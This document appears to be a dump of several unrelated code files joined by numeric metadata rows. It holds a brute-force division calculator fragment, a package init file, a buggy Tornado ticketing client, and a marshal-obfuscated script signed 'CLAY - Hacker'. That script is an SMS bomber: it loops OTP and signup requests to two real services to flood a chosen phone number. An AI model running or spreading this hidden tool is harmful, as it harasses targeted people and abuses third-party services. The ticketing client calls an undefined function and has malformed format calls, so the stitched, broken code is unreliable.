firstNum == 26 and sign == "/" and secondNum == 49 : print("26 / 49 = 0") if firstNum == 27 and sign == "/" and secondNum == 49 : print("27 / 49 = 0") if firstNum == 28 and sign == "/" and secondNum == 49 : print("28 / 49 = 0") if firstNum == 29 and sign == "/" and secondNum == 49 : print("29 / 49 = 0") if firstNum == 30 and sign == "/" and secondNum == 49 : print("30 / 49 = 0") if firstNum == 31 and sign == "/" and secondNum == 49 : print("31 / 49 = 0") if firstNum == 32 and sign == "/" and secondNum == 49 : print("32 / 49 = 0") if firstNum == 33 and sign == "/" and secondNum == 49 : print("33 / 49 = 0") if firstNum == 34 and sign == "/" and secondNum == 49 : print("34 / 49 = 0") if firstNum == 35 and sign == "/" and secondNum == 49 : print("35 / 49 = 0") if firstNum == 36 and sign == "/" and secondNum == 49 : print("36 / 49 = 0") if firstNum == 37 and sign == "/" and secondNum == 49 : print("37 / 49 = 0") if firstNum == 38 and sign == "/" and secondNum == 49 : print("38 / 49 = 0") if firstNum == 39 and sign == "/" and secondNum == 49 : print("39 / 49 = 0") if firstNum == 40 and sign == "/" and secondNum == 49 : print("40 / 49 = 0") if firstNum == 41 and sign == "/" and secondNum == 49 : print("41 / 49 = 0") if firstNum == 42 and sign == "/" and secondNum == 49 : print("42 / 49 = 0") if firstNum == 43 and sign == "/" and secondNum == 49 : print("43 / 49 = 0") if firstNum == 44 and sign == "/" and secondNum == 49 : print("44 / 49 = 0") if firstNum == 45 and sign == "/" and secondNum == 49 : print("45 / 49 = 0") if firstNum == 46 and sign == "/" and secondNum == 49 : print("46 / 49 = 0") if firstNum == 47 and sign == "/" and secondNum == 49 : print("47 / 49 = 0") if firstNum == 48 and sign == "/" and secondNum == 49 : print("48 / 49 = 0") if firstNum == 49 and sign == "/" and secondNum == 49 : print("49 / 49 = 1") if firstNum == 50 and sign == "/" and secondNum == 49 : print("50 / 49 = 1") if firstNum == 0 and sign == "/" and secondNum == 50 : print("0 / 50 = 0") if firstNum == 1 and sign == "/" and secondNum == 50 : print("1 / 50 = 0") if firstNum == 2 and sign == "/" and secondNum == 50 : print("2 / 50 = 0") if firstNum == 3 and sign == "/" and secondNum == 50 : print("3 / 50 = 0") if firstNum == 4 and sign == "/" and secondNum == 50 : print("4 / 50 = 0") if firstNum == 5 and sign == "/" and secondNum == 50 : print("5 / 50 = 0") if firstNum == 6 and sign == "/" and secondNum == 50 : print("6 / 50 = 0") if firstNum == 7 and sign == "/" and secondNum == 50 : print("7 / 50 = 0") if firstNum == 8 and sign == "/" and secondNum == 50 : print("8 / 50 = 0") if firstNum == 9 and sign == "/" and secondNum == 50 : print("9 / 50 = 0") if firstNum == 10 and sign == "/" and secondNum == 50 : print("10 / 50 = 0") if firstNum == 11 and sign == "/" and secondNum == 50 : print("11 / 50 = 0") if firstNum == 12 and sign == "/" and secondNum == 50 : print("12 / 50 = 0") if firstNum == 13 and sign == "/" and secondNum == 50 : print("13 / 50 = 0") if firstNum == 14 and sign == "/" and secondNum == 50 : print("14 / 50 = 0") if firstNum == 15 and sign == "/" and secondNum == 50 : print("15 / 50 = 0") if firstNum == 16 and sign == "/" and secondNum == 50 : print("16 / 50 = 0") if firstNum == 17 and sign == "/" and secondNum == 50 : print("17 / 50 = 0") if firstNum == 18 and sign == "/" and secondNum == 50 : print("18 / 50 = 0") if firstNum == 19 and sign == "/" and secondNum == 50 : print("19 / 50 = 0") if firstNum == 20 and sign == "/" and secondNum == 50 : print("20 / 50 = 0") if firstNum == 21 and sign == "/" and secondNum == 50 : print("21 / 50 = 0") if firstNum == 22 and sign == "/" and secondNum == 50 : print("22 / 50 = 0") if firstNum == 23 and sign == "/" and secondNum == 50 : print("23 / 50 = 0") if firstNum == 24 and sign == "/" and secondNum == 50 : print("24 / 50 = 0") if firstNum == 25 and sign == "/" and secondNum == 50 : print("25 / 50 = 0") if firstNum == 26 and sign == "/" and secondNum == 50 : print("26 / 50 = 0") if firstNum == 27 and sign == "/" and secondNum == 50 : print("27 / 50 = 0") if firstNum == 28 and sign == "/" and secondNum == 50 : print("28 / 50 = 0") if firstNum == 29 and sign == "/" and secondNum == 50 : print("29 / 50 = 0") if firstNum == 30 and sign == "/" and secondNum == 50 : print("30 / 50 = 0") if firstNum == 31 and sign == "/" and secondNum == 50 : print("31 / 50 = 0") if firstNum == 32 and sign == "/" and secondNum == 50 : print("32 / 50 = 0") if firstNum == 33 and sign == "/" and secondNum == 50 : print("33 / 50 = 0") if firstNum == 34 and sign == "/" and secondNum == 50 : print("34 / 50 = 0") if firstNum == 35 and sign == "/" and secondNum == 50 : print("35 / 50 = 0") if firstNum == 36 and sign == "/" and secondNum == 50 : print("36 / 50 = 0") if firstNum == 37 and sign == "/" and secondNum == 50 : print("37 / 50 = 0") if firstNum == 38 and sign == "/" and secondNum == 50 : print("38 / 50 = 0") if firstNum == 39 and sign == "/" and secondNum == 50 : print("39 / 50 = 0") if firstNum == 40 and sign == "/" and secondNum == 50 : print("40 / 50 = 0") if firstNum == 41 and sign == "/" and secondNum == 50 : print("41 / 50 = 0") if firstNum == 42 and sign == "/" and secondNum == 50 : print("42 / 50 = 0") if firstNum == 43 and sign == "/" and secondNum == 50 : print("43 / 50 = 0") if firstNum == 44 and sign == "/" and secondNum == 50 : print("44 / 50 = 0") if firstNum == 45 and sign == "/" and secondNum == 50 : print("45 / 50 = 0") if firstNum == 46 and sign == "/" and secondNum == 50 : print("46 / 50 = 0") if firstNum == 47 and sign == "/" and secondNum == 50 : print("47 / 50 = 0") if firstNum == 48 and sign == "/" and secondNum == 50 : print("48 / 50 = 0") if firstNum == 49 and sign == "/" and secondNum == 50 : print("49 / 50 = 0") if firstNum == 50 and sign == "/" and secondNum == 50 : print("50 / 50 = 1")
28.808769
78
0.500629
125,077
899,525
3.60039
0.006956
0.231033
0.231033
0.438962
0.972646
0.972646
0.972646
0.969928
0.95388
0.95388
0
0.153659
0.312555
899,525
31,224
79
28.808769
0.574583
0.000229
0
0
0
0
0.148329
0
0
0
0
0.000032
0
1
0
false
0
0
0
0
0.499976
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
10
ef7698b8c3ef15f2a882b0edb27f33f779d14d55
78
py
Python
irrigation30/__init__.py
adamsohn/Capstone_Irrigation30
0ae7a43894b5e9e62584025ad74209f70c5a8145
[ "MIT" ]
2
2020-08-02T21:41:30.000Z
2020-12-06T04:32:05.000Z
irrigation30/__init__.py
adamsohn/Capstone_Irrigation30
0ae7a43894b5e9e62584025ad74209f70c5a8145
[ "MIT" ]
null
null
null
irrigation30/__init__.py
adamsohn/Capstone_Irrigation30
0ae7a43894b5e9e62584025ad74209f70c5a8145
[ "MIT" ]
2
2020-08-05T03:09:56.000Z
2021-10-02T23:11:04.000Z
from .irrigation30 import authenticate from .irrigation30 import Irrigation30
26
38
0.871795
8
78
8.5
0.5
0.470588
0.647059
0
0
0
0
0
0
0
0
0.085714
0.102564
78
2
39
39
0.885714
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
efab4260a28c577a7a39e74afc6a0f9d9d9f45e0
19,096
py
Python
Tornado Ticketing Web Application/Client.py
AliRafieePour/Computer_Networks_Assignments
171bfd5d546c69ac73029bdbda47873152e141d4
[ "MIT" ]
null
null
null
Tornado Ticketing Web Application/Client.py
AliRafieePour/Computer_Networks_Assignments
171bfd5d546c69ac73029bdbda47873152e141d4
[ "MIT" ]
null
null
null
Tornado Ticketing Web Application/Client.py
AliRafieePour/Computer_Networks_Assignments
171bfd5d546c69ac73029bdbda47873152e141d4
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Fri Apr 19 23:03:48 2019 @author: Mah """ import requests import os import time import platform import sys from binascii import hexlify from os import system PARAMS = CMD = USERNAME = PASSWORD = API = " " HOST = "127.0.0.1" PORT = "1138" def __postcr__(): return "http://"+HOST+":"+PORT+"/"+CMD+"?" def clear(): _ = system('cls') while 1: clear() print('Wellcome to the ticketing system \n please choose between options below \n 1.signin \n 2.signup \n 3.exit \n') status = sys.stdin.readline() if status[:-1] == '1': clear() print("What kind of login do you prefer?\n 1.API \n 2.Username/Password") login_type = sys.stdin.readline() if login_type[:-1] == '1': clear() while 1: print('API: ') API = sys.stdin.readline() CMD = 'login' PARAMS = {'api' : API, 'username':'', 'password':''} re = requests.post(__postcr__(), PARAMS).json() print('{}\n {}'.format(re['message'], re['code'])) if re['code'] == '200': time.sleep(2) break else: clear() print('Something is wrong!') time.sleep(2) while 1: clear() if sql_query(r, 'select type from users where username = {}'.format(username))[0] == 'Normal': print('Choose between the options below: \n 1.send a ticket \n 2.edit a ticket \n 3.read a ticket \n 4.exit \n') op = sys.stdin.readline() if op[:-1]=='1': clear() print ("subject: \n") subject = sys.stdin.readline() print("body: \n") body = sys.stdin.readline() clear() PARAMS = {'username': '', 'password' : '', 'api' : API,'subject':subject, 'body':body, 'date': '', 'token': str(hexlify(os.urandom(16))), 'id': 'Open'} CMD = 'sendticket' re = requests.post(__postcr__(), PARAMS).json() print('message: {} \n code: {} \n id: {}'.format(re['message'], re['code'])) elif op[:-1]=='2': clear() print('token: \n') token = sys.stdin.readline() print('id: \n') idd = sys.stdin.readline() clear() PARAMS = {'username': '', 'password' : '', 'api' : API} CMD = 'check' re = requests.post(__postcr__(), PARAMS).json() if re['tag'] == '1': PARAMS = {'username': '', 'password' : '', 'api' : API,'token':token, 'id':idd} CMD = 'changeadmin' re = requests.post(__postcr__(), PARAMS).json() print('message: {} \n code: {}'.format(re['message'], re['code'])) else: PARAMS = {'username': '', 'password' : '', 'api' : API,'token':token, 'id':idd} CMD = 'changeuser' re = requests.post(__postcr__(), PARAMS).json() print('message: {}'.format(re['message'])) elif op[:-1] == '3': clear() print('token: \n') token = sys.stdin.readline() clear() PARAMS = {'username': '', 'password' : '', 'api' : API} CMD = 'check' re = requests.post(__postcr__(), PARAMS).json() if re['tag'] == '1': PARAMS = {'username': '', 'password' : '', 'api' : API,'token':token} CMD = 'readticketadmin' re = requests.post(__postcr__(), PARAMS).json() print('{} \n {} \n {}'.format(re['tickets'], re['code'], re['block 0'])) else: PARAMS = {'username': '', 'password' : '', 'api' : API,'token':token} CMD = 'readticketuser' re = requests.post(__postcr__(), PARAMS).json() print('{} \n {} \n {}'.format(re['tickets'], re['code'], re['block 0'])) elif op[:-1] == '4': clear() CMD = 'logout' PARAMS = {'api' : API, 'username':username, 'password':password} re = requests.post(__postcr__(), PARAMS).json() print (re['message']) elif login_type[:-1] == '2': clear() while 1: print('username: ') username = sys.stdin.readline() print('password: ') password = sys.stdin.readline() CMD = 'login' PARAMS = {'api' : '', 'username':username, 'password':password} re = requests.post(__postcr__(), PARAMS).json() print('{}\n {} n api: {}'.format(re['message'], re['code'], re['token'])) if re['code'] == '200': time.sleep(2) break else: clear() print('Something is wrong!') time.sleep(2) while 1: clear() print('Choose between the options below: \n 1.send a ticket \n 2.edit a ticket \n 3.read a ticket \n 4.exit \n') op = sys.stdin.readline() if op[:-1]=='1': clear() print ("subject: \n") subject = sys.stdin.readline() print("body: \n") body = sys.stdin.readline() clear() PARAMS = {'api' : '', 'username':username, 'password':password,'subject':subject, 'body':body, 'date': '', 'token': str(hexlify(os.urandom(16))), 'id': 'Open'} CMD = 'sendticket' re = requests.post(__postcr__(), PARAMS).json() print('message: {} \n code: {} \n id: {}'.format(re['message'], re['code'])) elif op[:-1]=='2': clear() print('token: \n') token = sys.stdin.readline() print('id: \n') idd = sys.stdin.readline() clear() PARAMS = {'api' : '', 'username':username, 'password':password} CMD = 'check' re = requests.post(__postcr__(), PARAMS).json() if re['tag'] == '1': PARAMS = {'api' : '', 'username':username, 'password':password,'token':token, 'id':idd} CMD = 'changeadmin' re = requests.post(__postcr__(), PARAMS).json() print('message: {} \n code: {}'.format(re['message'], re['code'])) else: PARAMS = {'api' : '', 'username':username, 'password':password,'token':token, 'id':idd} CMD = 'changeuser' re = requests.post(__postcr__(), PARAMS).json() print('message: {}'.format(re['message'])) elif op[:-1] == '3': clear() print('token: \n') token = sys.stdin.readline() clear() PARAMS = {'api' : '', 'username':username, 'password':password} CMD = 'check' re = requests.post(__postcr__(), PARAMS).json() if re['tag'] == '1': PARAMS = {'api' : '', 'username':username, 'password':password,'token':token} CMD = 'readticketadmin' re = requests.post(__postcr__(), PARAMS).json() print('{} \n {} \n {}'.format(re['tickets'], re['code'], re['block 0'])) else: PARAMS = {'api' : '', 'username':username, 'password':password,'token':token} CMD = 'readticketuser' re = requests.post(__postcr__(), PARAMS).json() print('{} \n {} \n {}'.format(re['tickets'], re['code'], re['block 0'])) elif op[:-1] == '4': clear() CMD = 'logout' PARAMS = {'api' : API, 'username':username, 'password':password} re = requests.post(__postcr__(), PARAMS).json() print (re['message']) else: print('Choose between the options below: \n 1.send a ticket \n 2.edit a ticket \n 3.read a ticket \n 4.respond \n 5.exit \n') op = sys.stdin.readline() if op[:-1]=='1': clear() print ("subject: \n") subject = sys.stdin.readline() print("body: \n") body = sys.stdin.readline() clear() PARAMS = {'username': '', 'password' : '', 'api' : API,'subject':subject, 'body':body, 'date': '', 'token': str(hexlify(os.urandom(16))), 'id': 'Open'} CMD = 'sendticket' re = requests.post(__postcr__(), PARAMS).json() print('message: {} \n code: {} \n id: {}'.format(re['message'], re['code'])) elif op[:-1]=='2': clear() print('token: \n') token = sys.stdin.readline() print('id: \n') idd = sys.stdin.readline() clear() PARAMS = {'username': '', 'password' : '', 'api' : API} CMD = 'check' re = requests.post(__postcr__(), PARAMS).json() if re['tag'] == '1': PARAMS = {'username': '', 'password' : '', 'api' : API,'token':token, 'id':idd} CMD = 'changeadmin' re = requests.post(__postcr__(), PARAMS).json() print('message: {} \n code: {}'.format(re['message'], re['code'])) else: PARAMS = {'username': '', 'password' : '', 'api' : API,'token':token, 'id':idd} CMD = 'changeuser' re = requests.post(__postcr__(), PARAMS).json() print('message: {}'.format(re['message'])) elif op[:-1] == '3': clear() print('token: \n') token = sys.stdin.readline() clear() PARAMS = {'username': '', 'password' : '', 'api' : API} CMD = 'check' re = requests.post(__postcr__(), PARAMS).json() if re['tag'] == '1': PARAMS = {'username': '', 'password' : '', 'api' : API,'token':token} CMD = 'readticketadmin' re = requests.post(__postcr__(), PARAMS).json() print('{} \n {} \n {}'.format(re['tickets'], re['code'], re['block 0'])) else: PARAMS = {'username': '', 'password' : '', 'api' : API,'token':token} CMD = 'readticketuser' re = requests.post(__postcr__(), PARAMS).json() print('{} \n {} \n {}'.format(re['tickets'], re['code'], re['block 0'])) elif op[:-1] == '4': clear() CMD = 'logout' PARAMS = {'api' : API, 'username':username, 'password':password} re = requests.post(__postcr__(), PARAMS).json() print (re['message']) elif login_type[:-1] == '2': clear() while 1: print('username: ') username = sys.stdin.readline() print('password: ') password = sys.stdin.readline() CMD = 'login' PARAMS = {'api' : '', 'username':username, 'password':password} re = requests.post(__postcr__(), PARAMS).json() print('{}\n {} n api: {}'.format(re['message'], re['code'], re['token'])) if re['code'] == '200': time.sleep(2) break else: clear() print('Something is wrong!') time.sleep(2) while 1: clear() print('Choose between the options below: \n 1.send a ticket \n 2.edit a ticket \n 3.read a ticket \n 4.exit \n') op = sys.stdin.readline() if op[:-1]=='1': clear() print ("subject: \n") subject = sys.stdin.readline() print("body: \n") body = sys.stdin.readline() clear() PARAMS = {'api' : '', 'username':username, 'password':password,'subject':subject, 'body':body, 'date': '', 'token': str(hexlify(os.urandom(16))), 'id': 'Open'} CMD = 'sendticket' re = requests.post(__postcr__(), PARAMS).json() print('message: {} \n code: {} \n id: {}'.format(re['message'], re['code'])) elif op[:-1]=='2': clear() print('token: \n') token = sys.stdin.readline() print('id: \n') idd = sys.stdin.readline() clear() PARAMS = {'api' : '', 'username':username, 'password':password} CMD = 'check' re = requests.post(__postcr__(), PARAMS).json() if re['tag'] == '1': PARAMS = {'api' : '', 'username':username, 'password':password,'token':token, 'id':idd} CMD = 'changeadmin' re = requests.post(__postcr__(), PARAMS).json() print('message: {} \n code: {}'.format(re['message'], re['code'])) else: PARAMS = {'api' : '', 'username':username, 'password':password,'token':token, 'id':idd} CMD = 'changeuser' re = requests.post(__postcr__(), PARAMS).json() print('message: {}'.format(re['message'])) elif op[:-1] == '3': clear() print('token: \n') token = sys.stdin.readline() clear() PARAMS = {'api' : '', 'username':username, 'password':password} CMD = 'check' re = requests.post(__postcr__(), PARAMS).json() if re['tag'] == '1': PARAMS = {'api' : '', 'username':username, 'password':password,'token':token} CMD = 'readticketadmin' re = requests.post(__postcr__(), PARAMS).json() print('{} \n {} \n {}'.format(re['tickets'], re['code'], re['block 0'])) else: PARAMS = {'api' : '', 'username':username, 'password':password,'token':token} CMD = 'readticketuser' re = requests.post(__postcr__(), PARAMS).json() print('{} \n {} \n {}'.format(re['tickets'], re['code'], re['block 0'])) elif op[:-1] == '4': clear() CMD = 'response' if sql_query(r, 'select type from users where username = {} or api = {}'.format(username, api))[0]=='Admin': print('token:') token = sys.stdin.readline() print('body:') body = sys.stdin.readline() PARAMS = {'api' : API, 'username':username, 'password':password, 'response' :body, 'token':token} re = requests.post(__postcr__(), PARAMS).json() print (re['message']) elif op[:-1] == '5': clear() CMD = 'logout' PARAMS = {'api' : API, 'username':username, 'password':password} re = requests.post(__postcr__(), PARAMS).json() print (re['message']) ######################################################################## ############################################################################copy ################################################################################################# ############################################################################################ elif status[:-1] == '2': clear() print('username:') username = sys.stdin.readline() print('password:') password = sys.stdin.readline() print('type:') typee = sys.stdin.readline() clear() PARAMS = {'type' : typee, 'username':username, 'password':password} CMD = 'signup' re = requests.post(__postcr__(), params=PARAMS).json() if str(re['code']) =='200': print('message: {} \n code: {} \n api: {} \n'.format(re['message'], re['code'])) else: print('message: {} \n code: {} \n api: {} \n'.format(re['message'], re['code'])) time.sleep(5) # elif status[:-1] == '3':
52.606061
184
0.376204
1,571
19,096
4.471674
0.079567
0.088826
0.073737
0.105338
0.897936
0.880712
0.877153
0.866192
0.866192
0.859929
0
0.013635
0.450775
19,096
362
185
52.751381
0.656178
0
0
0.881657
0
0.014793
0.176438
0
0
0
0
0
0
0
null
null
0.133136
0.02071
null
null
0.204142
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
9
efd08ae3e9dc313b2a626d03d9e4d8d68c8167f1
3,027
py
Python
sms_en_by_clay.py
test-command-for-github/h
098c834c6ccfb0302d3abe95e6559706e2409f4e
[ "Apache-2.0" ]
null
null
null
sms_en_by_clay.py
test-command-for-github/h
098c834c6ccfb0302d3abe95e6559706e2409f4e
[ "Apache-2.0" ]
null
null
null
sms_en_by_clay.py
test-command-for-github/h
098c834c6ccfb0302d3abe95e6559706e2409f4e
[ "Apache-2.0" ]
null
null
null
### This Tool Encrypted By CLAY - Hacker ### FB PAGE : facebook.com/BDCyberMafia ### GITHUB : github.com/BD-CLAY-Hacker import marshal exec(marshal.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00s\xde\x00\x00\x00d\x00d\x01l\x00Z\x00d\x00d\x01l\x01Z\x01d\x00d\x01l\x02Z\x02e\x01\xa0\x03d\x02\xa1\x01\x01\x00e\x04d\x03\x83\x01Z\x05e\x06e\x04d\x04\x83\x01\x83\x01Z\x07d\x05d\x06\x84\x00Z\x08d\x07d\x08\x84\x00Z\te\nd\t\x83\x01\x01\x00d\x00Z\x0b\t\x00e\x08\x83\x00Z\x0ce\x0cd\x0bk\x02r>e\x0bd\x0c7\x00Z\x0be\ne\re\x0b\x83\x01d\r\x17\x00\x83\x01\x01\x00n\x04e\nd\x0e\x83\x01\x01\x00e\x0be\x07k\x02rLe\nd\x0f\x83\x01\x01\x00d\x01S\x00e\t\x83\x00Z\x0ce\x0cd\x0bk\x02r`e\x0bd\x0c7\x00Z\x0be\ne\re\x0b\x83\x01d\r\x17\x00\x83\x01\x01\x00n\x04e\nd\x0e\x83\x01\x01\x00e\x0be\x07k\x02rne\nd\x0f\x83\x01\x01\x00d\x01S\x00q*)\x10\xe9\x00\x00\x00\x00N\xda\x05clearz\x1aEnter Your Target Number: z\x13Enter Your Amount: c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s4\x00\x00\x00d\x01}\x00d\x02d\x03t\x00\x17\x00d\x04d\x04d\x05\x9c\x04}\x01d\x06d\x07i\x01}\x02t\x01j\x02|\x00|\x01|\x02d\x08\x8d\x03j\x03}\x03|\x03S\x00)\tNz<https://prod-api.viewlift.com/identity/signup?site=hoichoitv\xda\x04sendz\x03+88\xda\x04true)\x04Z\x0brequestTypeZ\x0bphoneNumberZ\x0cemailConsentZ\x0fwhatsappConsent\xfa\x0cContent-Type\xfa\x10application/json\xa9\x02Z\x04json\xda\x07headers\xa9\x04\xda\x06number\xda\x08requestsZ\x04postZ\x0bstatus_code\xa9\x04\xda\x03url\xda\x04datar\x08\x00\x00\x00Z\x08response\xa9\x00r\x0f\x00\x00\x00\xda\x00\xda\x04api1\r\x00\x00\x00s\x14\x00\x00\x00\x04\x02\x02\x04\x06\x01\x02\x01\x02\x01\x06\xfc\x04\t\x04\xff\x12\x05\x04\x03r\x11\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s0\x00\x00\x00d\x01}\x00d\x02d\x03t\x00\x17\x00d\x04\x9c\x02}\x01d\x05d\x06i\x01}\x02t\x01j\x02|\x00|\x01|\x02d\x07\x8d\x03j\x03}\x03|\x03S\x00)\x08Nz7https://api.bongo-solutions.com/auth/api/login/send-otp\xda\x03allZ\x0288)\x02\xda\x08operatorZ\x06msisdnr\x05\x00\x00\x00r\x06\x00\x00\x00r\x07\x00\x00\x00r\t\x00\x00\x00r\x0c\x00\x00\x00r\x0f\x00\x00\x00r\x0f\x00\x00\x00r\x10\x00\x00\x00\xda\x04api2%\x00\x00\x00s\x10\x00\x00\x00\x04\x02\x02\x04\x06\x01\x06\xfe\x04\x07\x04\xff\x12\x05\x04\x03r\x14\x00\x00\x00z\x12\nBombing Started!\nT\xe9\xc8\x00\x00\x00\xe9\x01\x00\x00\x00z\x18 Sms Sent Successfully!!z\x10Sms Send Failed!z\x12\nBombing Finished!)\x0er\x0b\x00\x00\x00\xda\x02os\xda\x03sys\xda\x06system\xda\x05inputr\n\x00\x00\x00\xda\x03intZ\x06amountr\x11\x00\x00\x00r\x14\x00\x00\x00\xda\x05printZ\x04done\xda\x04code\xda\x03strr\x0f\x00\x00\x00r\x0f\x00\x00\x00r\x0f\x00\x00\x00r\x10\x00\x00\x00\xda\x08<module>\x01\x00\x00\x00s8\x00\x00\x00\x08\x00\x08\x01\x08\x01\n\x01\x08\x02\x0c\x03\x08\x04\x08\x18\x08\x16\x04\x03\x02\x03\x06\x02\x08\x03\x08\x01\x12\x01\x08\x03\x08\x03\x08\x01\x04\x01\x06\x03\x08\x03\x08\x01\x12\x01\x08\x03\x08\x03\x08\x01\x04\x01\x02\xe1'))
504.5
2,888
0.773043
628
3,027
3.724522
0.289809
0.235998
0.19239
0.169303
0.385207
0.373236
0.339889
0.300556
0.299273
0.276186
0
0.327759
0.012223
3,027
6
2,888
504.5
0.454515
0.03634
0
0
0
0.5
0.984869
0.477992
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0.5
0
0
0
null
1
1
1
0
0
0
0
0
0
0
1
0
0
1
1
1
1
0
0
0
0
1
1
1
null
0
0
0
0
0
0
1
0
1
0
0
1
0
14